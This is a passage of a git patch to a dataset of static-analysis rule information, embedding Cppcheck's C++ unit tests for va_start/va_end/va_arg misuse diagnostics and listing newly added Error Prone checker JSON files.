'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_copy(f, arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" return va_arg(arg_ptr, float);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" foo(va_arg(arg_ptr, float));\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6066\n check(\"void Format(va_list v1) {\\n\"\n \" va_list v2;\\n\"\n \" va_copy(v2, v1);\\n\"\n \" foo(va_arg(v1, float));\\n\"\n \" va_end(v2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7527\n check(\"void foo(int flag1, int flag2, ...) {\\n\"\n \" switch (flag1) {\\n\"\n \" default:\\n\"\n \" va_list vargs;\\n\"\n \" va_start(vargs, flag2);\\n\"\n \" if (flag2) {\\n\"\n \" va_end(vargs);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" int data = va_arg(vargs, int);\\n\"\n \" va_end(vargs);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7533\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" va_end(args);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:1]: (error) va_list 'args' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n // #8043\n check(\"void redisvFormatCommand(char *format, va_list ap, bool flag) {\\n\"\n \" va_list _cpy;\\n\"\n \" va_copy(_cpy, ap);\\n\"\n \" if (flag)\\n\"\n \" goto fmt_valid;\\n\"\n \" va_end(_cpy);\\n\"\n \" goto format_err;\\n\"\n \"fmt_valid:\\n\"\n \" sdscatvprintf(curarg, _format, _cpy);\\n\"\n \" va_end(_cpy);\\n\"\n \"format_err:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void va_start_subsequentCalls() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) va_start() or va_copy() called subsequently on 'arg_ptr' without va_end() in between. [va_start_subsequentCalls]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list vl1;\\n\"\n \" va_start(vl1, szBuffer);\\n\"\n \" va_copy(vl1, vl1);\\n\"\n \" va_end(vl1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) va_start() or va_copy() called subsequently on 'vl1' without va_end() in between. [va_start_subsequentCalls]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unknownFunctionScope() {\n check(\"void BG_TString::Format() {\\n\"\n \" BG_TChar * f;\\n\"\n \" va_start(args,f);\\n\"\n \" BG_TString result(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7559\n check(\"void mowgli_object_message_broadcast(mowgli_object_t *self, const char *name, ...) {\\n\"\n \" va_list va;\\n\"\n \" MOWGLI_LIST_FOREACH(n, self->klass->message_handlers.head) {\\n\"\n \" if (!strcasecmp(sig2->name, name))\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" va_start(va, name);\\n\"\n \" va_end(va);\\n\"\n \"}\");\n }\n};\n\nREGISTER_TEST(TestVaarg)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_start_argument.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_start_argument.json new file mode 100644 index 0000000..72c6015 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_start_argument.json @@ -0,0 +1,22 @@ +{ + "name": "va_start_argument", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 30, + "branches": 9, + "apis": 34, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 55 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkvaarg.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestVaarg : public TestFixture {\npublic:\n TestVaarg() : TestFixture(\"TestVaarg\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(wrongParameterTo_va_start);\n TEST_CASE(referenceAs_va_start);\n TEST_CASE(va_end_missing);\n TEST_CASE(va_list_usedBeforeStarted);\n TEST_CASE(va_start_subsequentCalls);\n TEST_CASE(unknownFunctionScope);\n }\n\n void wrongParameterTo_va_start() {\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szFormat);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) 'szFormat' given to va_start() is not last named argument of the function. Did you intend to pass 'nSize'? [va_start_wrongParameter]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) 'szBuffer' given to va_start() is not last named argument of the function. Did you intend to pass 'nSize'? [va_start_wrongParameter]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, nSize);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" long(^addthem)(const char *, ...) = ^long(const char *format, ...) {\\n\"\n \" va_list argp;\\n\"\n \" va_start(argp, format);\\n\"\n \" c = va_arg(argp, int);\\n\"\n \" };\\n\"\n \"}\"); // Don't crash (#6032)\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) va_list 'argp' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\"); // Don't crash if less than expected arguments are given.\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void assertf_fail(const char *assertion, const char *file, int line, const char *func, const char* msg, ...) {\\n\"\n \" struct A {\\n\"\n \" A(char* buf, int size) {}\\n\"\n \" void printf(const char * format, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, format);\\n\"\n \" va_end(args);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\"); // Inner class (#6453)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void referenceAs_va_start() {\n check(\"void Format(char* szFormat, char (&szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Using reference 'szBuffer' as parameter for va_start() results in undefined behaviour. [va_start_referencePassed]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void va_end_missing() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6186\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" try {\\n\"\n \" throw sth;\\n\"\n \" } catch(...) {\\n\"\n \" va_end(arg_ptr);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) va_list 'arg_ptr' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" if(sth) return;\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (error) va_list 'arg_ptr' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n // #8124\n check(\"void f(int n, ...)\\n\"\n \"{\\n\"\n \" va_list ap;\\n\"\n \" va_start(ap, n);\\n\"\n \" std::vector v(n);\\n\"\n \" std::generate_n(v.begin(), n, [&ap]()\\n\"\n \" {\\n\"\n \" return va_arg(ap, const char*);\\n\"\n \" });\\n\"\n \" va_end(ap);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n, ...)\\n\"\n \"{\\n\"\n \" va_list ap;\\n\"\n \" va_start(ap, n);\\n\"\n \" std::vector v(n);\\n\"\n \" std::generate_n(v.begin(), n, [&ap]()\\n\"\n \" {\\n\"\n \" return va_arg(ap, const char*);\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:1]: (error) va_list 'ap' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n }\n\n void va_list_usedBeforeStarted() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" return va_arg(arg_ptr, float);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" foo(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_copy(f, arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" return va_arg(arg_ptr, float);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" foo(va_arg(arg_ptr, float));\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6066\n check(\"void Format(va_list v1) {\\n\"\n \" va_list v2;\\n\"\n \" va_copy(v2, v1);\\n\"\n \" foo(va_arg(v1, float));\\n\"\n \" va_end(v2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7527\n check(\"void foo(int flag1, int flag2, ...) {\\n\"\n \" switch (flag1) {\\n\"\n \" default:\\n\"\n \" va_list vargs;\\n\"\n \" va_start(vargs, flag2);\\n\"\n \" if (flag2) {\\n\"\n \" va_end(vargs);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" int data = va_arg(vargs, int);\\n\"\n \" va_end(vargs);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7533\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" va_end(args);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void action_push(int type, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, type);\\n\"\n \" switch (push_mode) {\\n\"\n \" case UNDO:\\n\"\n \" list_add(&act->node, &to_redo);\\n\"\n \" break;\\n\"\n \" case REDO:\\n\"\n \" list_add(&act->node, &to_undo);\\n\"\n \" va_end(args);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:1]: (error) va_list 'args' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n // #8043\n check(\"void redisvFormatCommand(char *format, va_list ap, bool flag) {\\n\"\n \" va_list _cpy;\\n\"\n \" va_copy(_cpy, ap);\\n\"\n \" if (flag)\\n\"\n \" goto fmt_valid;\\n\"\n \" va_end(_cpy);\\n\"\n \" goto format_err;\\n\"\n \"fmt_valid:\\n\"\n \" sdscatvprintf(curarg, _format, _cpy);\\n\"\n \" va_end(_cpy);\\n\"\n \"format_err:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void va_start_subsequentCalls() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) va_start() or va_copy() called subsequently on 'arg_ptr' without va_end() in between. [va_start_subsequentCalls]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list vl1;\\n\"\n \" va_start(vl1, szBuffer);\\n\"\n \" va_copy(vl1, vl1);\\n\"\n \" va_end(vl1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) va_start() or va_copy() called subsequently on 'vl1' without va_end() in between. [va_start_subsequentCalls]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unknownFunctionScope() {\n check(\"void BG_TString::Format() {\\n\"\n \" BG_TChar * f;\\n\"\n \" va_start(args,f);\\n\"\n \" BG_TString result(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7559\n check(\"void mowgli_object_message_broadcast(mowgli_object_t *self, const char *name, ...) {\\n\"\n \" va_list va;\\n\"\n \" MOWGLI_LIST_FOREACH(n, self->klass->message_handlers.head) {\\n\"\n \" if (!strcasecmp(sig2->name, name))\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" va_start(va, name);\\n\"\n \" va_end(va);\\n\"\n \"}\");\n }\n};\n\nREGISTER_TEST(TestVaarg)\n" + } + ] +} \ No newline at end of file From 0f57b3a697fd4c60a7a456283c291d1e67de1c2e Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Mon, 4 Aug 2025 18:36:51 +0800 Subject: [PATCH 4/7] add error-prone --- .../checkers/ASTHelpersSuggestions.json | 54 + .../checkers/AddressSelection.json | 54 + .../checkers/AlreadyChecked.json | 246 +++ .../checkers/AlwaysThrows.json | 94 ++ .../checkers/AmbiguousMethodReference.json | 86 + .../checkers/AnnotationMirrorToString.json | 22 + .../checkers/AnnotationPosition.json | 262 +++ .../checkers/AnnotationValueToString.json | 22 + .../checkers/ArrayAsKeyOfSetOrMap.json | 30 + .../checkers/ArrayEquals.json | 46 + .../checkers/ArrayFillIncompatibleType.json | 46 + .../checkers/ArrayHashCode.json | 38 + .../checkers/ArrayRecordComponent.json | 46 + .../checkers/ArrayToString.json | 142 ++ .../checkers/ArraysAsListPrimitiveArray.json | 30 + .../checkers/AssertFalse.json | 30 + .../AssertThrowsMultipleStatements.json | 22 + .../checkers/AssertionFailureIgnored.json | 54 + .../checkers/AssignmentExpression.json | 62 + .../checkers/AsyncCallableReturnsNull.json | 20 + .../checkers/AsyncFunctionReturnsNull.json | 30 + .../checkers/AttemptedNegativeZero.json | 30 + .../checkers/AutoValueBoxedValues.json | 134 ++ ...AutoValueBuilderDefaultsInConstructor.json | 38 + .../checkers/AutoValueFinalMethods.json | 62 + .../checkers/AutoValueImmutableFields.json | 142 ++ .../checkers/AutoValueSubclassLeaked.json | 62 + .../checkers/AvoidObjectArrays.json | 110 ++ .../checkers/BadAnnotationImplementation.json | 102 ++ .../checkers/BadComparable.json | 30 + .../Rule Information/checkers/BadImport.json | 222 +++ .../checkers/BadInstanceof.json | 38 + .../checkers/BadShiftAmount.json | 30 + .../checkers/BanClassLoader.json | 30 + .../Rule Information/checkers/BanJNDI.json | 38 + .../checkers/BanSerializableRead.json | 38 + .../checkers/BareDotMetacharacter.json | 22 + .../checkers/BigDecimalEquals.json | 30 + .../checkers/BigDecimalLiteralDouble.json | 30 + .../checkers/BooleanLiteral.json | 70 + .../checkers/BooleanParameter.json | 38 + .../checkers/BoxedPrimitiveConstructor.json | 110 ++ .../checkers/BoxedPrimitiveEquality.json | 62 + .../checkers/BugPatternNaming.json | 46 + .../checkers/ByteBufferBackingArray.json | 38 + .../checkers/CacheLoaderNull.json | 30 + .../checkers/CannotMockFinalClass.json | 46 + .../checkers/CannotMockMethod.json | 46 + .../checkers/CanonicalDuration.json | 70 + .../checkers/CatchAndPrintStackTrace.json | 30 + .../Rule Information/checkers/CatchFail.json | 142 ++ .../checkers/CatchingUnchecked.json | 38 + .../ChainedAssertionLosesContext.json | 30 + .../ChainingConstructorIgnoresParameter.json | 30 + .../checkers/CharacterGetNumericValue.json | 78 + .../checkers/CheckNotNullMultipleTimes.json | 54 + .../checkers/CheckReturnValue.json | 374 +++++ .../checkers/CheckedExceptionNotThrown.json | 86 + .../checkers/ClassCanBeStatic.json | 214 +++ .../checkers/ClassInitializationDeadlock.json | 174 ++ .../Rule Information/checkers/ClassName.json | 94 ++ .../checkers/ClassNamedLikeTypeParameter.json | 30 + .../checkers/ClassNewInstance.json | 174 ++ .../ClosingStandardOutputStreams.json | 30 + .../CollectionToArraySafeParameter.json | 38 + .../checkers/CollectorShouldNotUseState.json | 30 + .../checkers/ComparableAndComparator.json | 30 + .../checkers/ComparableType.json | 30 + .../checkers/CompareToZero.json | 78 + .../checkers/ComparingThisWithNull.json | 78 + .../checkers/ComparisonContractViolated.json | 30 + .../checkers/ComparisonOutOfRange.json | 30 + .../checkers/CompileTimeConstantChecker.json | 342 ++++ .../checkers/ComplexBooleanConstant.json | 30 + .../ComputeIfAbsentAmbiguousReference.json | 46 + ...ConditionalExpressionNumericPromotion.json | 30 + .../checkers/ConstantField.json | 70 + .../checkers/ConstantOverflow.json | 94 ++ .../checkers/ConstantPatternCompile.json | 142 ++ .../checkers/DangerousLiteralNullChecker.json | 30 + .../checkers/DateFormatConstant.json | 46 + .../checkers/DeadException.json | 46 + .../Rule Information/checkers/DeadThread.json | 30 + .../checkers/DeduplicateConstants.json | 54 + .../checkers/DeeplyNested.json | 54 + .../checkers/DefaultCharset.json | 182 +++ .../checkers/DefaultLocale.json | 142 ++ .../checkers/DefaultPackage.json | 62 + .../Rule Information/checkers/DepAnn.json | 46 + .../checkers/DeprecatedVariable.json | 30 + .../checkers/DifferentNameButSame.json | 118 ++ .../checkers/DirectInvocationOnMock.json | 150 ++ .../checkers/DiscardedPostfixExpression.json | 30 + .../checkers/DistinctVarargsChecker.json | 70 + .../checkers/DoNotCallChecker.json | 318 ++++ .../checkers/DoNotCallSuggester.json | 166 ++ .../checkers/DoNotClaimAnnotations.json | 46 + .../checkers/DoNotMockAutoValue.json | 22 + .../checkers/DoNotMockChecker.json | 94 ++ .../checkers/DoubleBraceInitialization.json | 94 ++ .../checkers/DuplicateBranches.json | 70 + .../checkers/DuplicateDateFormatField.json | 110 ++ .../checkers/DuplicateMapKeys.json | 30 + .../checkers/EffectivelyPrivate.json | 30 + .../Rule Information/checkers/EmptyCatch.json | 54 + .../checkers/EmptyIfStatement.json | 30 + .../checkers/EmptyTopLevelDeclaration.json | 38 + .../checkers/EnumOrdinal.json | 46 + .../checkers/EqualsGetClass.json | 94 ++ .../checkers/EqualsHashCode.json | 94 ++ .../checkers/EqualsIncompatibleType.json | 158 ++ .../Rule Information/checkers/EqualsNaN.json | 30 + .../Rule Information/checkers/EqualsNull.json | 110 ++ .../checkers/EqualsReference.json | 30 + .../checkers/EqualsUnsafeCast.json | 54 + .../checkers/EqualsUsingHashCode.json | 38 + .../checkers/EqualsWrongThing.json | 78 + .../checkers/ErroneousBitwiseExpression.json | 30 + ...ErroneousThreadPoolConstructorChecker.json | 70 + .../checkers/ExpectedExceptionChecker.json | 262 +++ .../ExpensiveLenientFormatString.json | 46 + .../checkers/ExtendingJUnitAssert.json | 38 + .../checkers/ExtendsAutoValue.json | 142 ++ .../checkers/FallThrough.json | 70 + .../checkers/FieldCanBeFinal.json | 214 +++ .../checkers/FieldCanBeLocal.json | 206 +++ .../checkers/FieldCanBeStatic.json | 142 ++ .../Rule Information/checkers/Finalize.json | 30 + .../Rule Information/checkers/Finally.json | 54 + .../Rule Information/checkers/FloatCast.json | 38 + .../FloatingPointAssertionWithinEpsilon.json | 38 + .../FloatingPointLiteralPrecision.json | 38 + .../checkers/ForEachIterable.json | 70 + .../checkers/ForOverrideChecker.json | 150 ++ .../checkers/FunctionalInterfaceClash.json | 150 ++ .../FunctionalInterfaceMethodChanged.json | 30 + .../checkers/FutureReturnValueIgnored.json | 54 + .../checkers/FutureTransformAsync.json | 166 ++ ...FuturesGetCheckedIllegalExceptionType.json | 30 + ...zyEqualsShouldNotBeUsedInEqualsMethod.json | 30 + .../checkers/GetClassOnAnnotation.json | 30 + .../checkers/GetClassOnClass.json | 30 + .../checkers/GetClassOnEnum.json | 30 + .../checkers/GuiceNestedCombine.json | 94 ++ .../checkers/HashtableContains.json | 78 + .../checkers/HidingField.json | 30 + .../checkers/ICCProfileGetInstance.json | 30 + .../checkers/IdentifierName.json | 310 ++++ .../checkers/IdentityBinaryExpression.json | 62 + .../checkers/IdentityHashMapBoxing.json | 46 + .../checkers/IdentityHashMapUsage.json | 62 + .../checkers/IgnoredPureGetter.json | 86 + .../checkers/ImmutableMemberCollection.json | 118 ++ .../checkers/ImmutableSetForContains.json | 166 ++ .../ImplementAssertionWithChaining.json | 30 + .../checkers/ImpossibleNullComparison.json | 222 +++ .../checkers/Incomparable.json | 30 + .../IncompatibleModifiersChecker.json | 78 + .../checkers/InconsistentCapitalization.json | 102 ++ .../checkers/InconsistentHashCode.json | 62 + .../checkers/IncorrectMainMethod.json | 126 ++ .../checkers/IncrementInForLoopAndHeader.json | 30 + .../checkers/IndexOfChar.json | 30 + .../checkers/InexactVarargsConditional.json | 30 + .../checkers/InfiniteRecursion.json | 214 +++ .../checkers/InitializeInline.json | 54 + .../checkers/InjectOnBugCheckers.json | 46 + .../checkers/InlineTrivialConstant.json | 30 + .../InputStreamSlowMultibyteRead.json | 78 + .../checkers/InsecureCipherMode.json | 30 + .../InstanceOfAndCastMatchWrongType.json | 54 + .../checkers/IntFloatConversion.json | 30 + .../checkers/IntLiteralCast.json | 30 + .../checkers/IntLongMath.json | 38 + .../checkers/InterfaceWithOnlyStatics.json | 94 ++ .../InterruptedExceptionSwallowed.json | 198 +++ .../checkers/Interruption.json | 86 + .../checkers/InvalidPatternSyntax.json | 30 + .../checkers/InvalidTimeZoneID.json | 30 + .../checkers/InvalidZoneId.json | 30 + .../checkers/IsInstanceIncompatibleType.json | 86 + .../checkers/IsInstanceOfClass.json | 86 + .../checkers/IterableAndIterator.json | 30 + .../checkers/IterablePathParameter.json | 46 + ...t3FloatingPointComparisonWithoutDelta.json | 166 ++ .../checkers/JUnit3TestNotRun.json | 278 ++++ .../JUnit4ClassAnnotationNonStatic.json | 30 + .../checkers/JUnit4ClassUsedInJUnit3.json | 118 ++ 